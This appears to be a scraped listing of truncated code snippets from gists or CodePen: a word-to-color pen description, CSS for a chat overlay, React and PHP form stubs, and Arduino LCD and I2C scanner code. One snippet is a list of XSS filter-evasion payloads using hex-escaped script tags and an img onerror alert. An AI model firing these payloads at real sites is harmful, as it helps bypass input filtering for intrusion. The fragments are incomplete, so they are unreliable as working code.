This Javascript will calculate a unique color for any English word typed into it. Currently other alphabets are not supported. Punctuation and white space are ignored.
A Pen by Matt Nicolaysen on CodePen.
{ | |
"title": "Welcome", | |
"options": { | |
"theme": "dark" | |
} | |
} |
body { | |
margin: 0; | |
font-family: sans-serif; | |
font-size: 16px; | |
} | |
.section { | |
position: relative; | |
align-content: center; | |
display: grid; |
body { background: transparent !important; margin: 0px auto; overflow: hidden; } | |
.rooms-header.tw-align-items-center.tw-border-b.tw-c-background-base.tw-flex.tw-flex-shrink-0.tw-full-width.tw-justify-content-center.tw-pd-l-1.tw-pd-r-1, | |
.chat-input.tw-block.tw-pd-b-1.tw-pd-x-1 { display: none !important; } | |
.chat-room.tw-flex.tw-flex-column.tw-flex-grow-1.tw-flex-shrink-1.tw-full-width { | |
background: transparent !important; | |
} | |
body { | |
font-size: 200% !important; | |
font-weight: bold !important; | |
} |
var square = | |
` +-+ | |
| | |
+-+-+ | |
| | - | |
+-+-+`; | |
var points = []; | |
var jumpers = []; | |
var relations = []; | |
square.split('\n').forEach((line, lineIndex) => { |
This Javascript will calculate a unique color for any English word typed into it. Currently other alphabets are not supported. Punctuation and white space are ignored.
A Pen by Matt Nicolaysen on CodePen.
<?php | |
// process form | |
// respond as HTML with updated state |
import React, { useState } from 'react'; | |
export default function App({ data }) { | |
const [ text, setText ] = useState(data.isChecked); | |
const [ error, setError ] = useState(null); | |
const [ isSuccess, setIsSuccess ] = useState(false); | |
const [ inProgress, setInProgress ] = useState(false); | |
function submitForm() { | |
setIsSuccess(false); |
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
#include <LiquidCrystal_I2C.h> | |
// Set the LCD address to 0x27 for a 16 chars and 2 line display | |
LiquidCrystal_I2C lcd(0x3F, 16, 2); | |
void setup() | |
{ | |
// initialize the LCD | |
// lcd.begin(); // Init with pin default ESP8266 or ARDUINO | |
lcd.begin(0, 2); //ESP8266-01 I2C with pin 0-SDA 2-SCL | |
// Turn on the blacklight and print a message. |
// -------------------------------------- | |
// i2c_scanner | |
// | |
// Version 1 | |
// This program (or code that looks like it) | |
// can be found in many places. | |
// For example on the Arduino.cc forum. | |
// The original author is not know. | |
// Version 2, Juni 2012, Using Arduino 1.0.1 |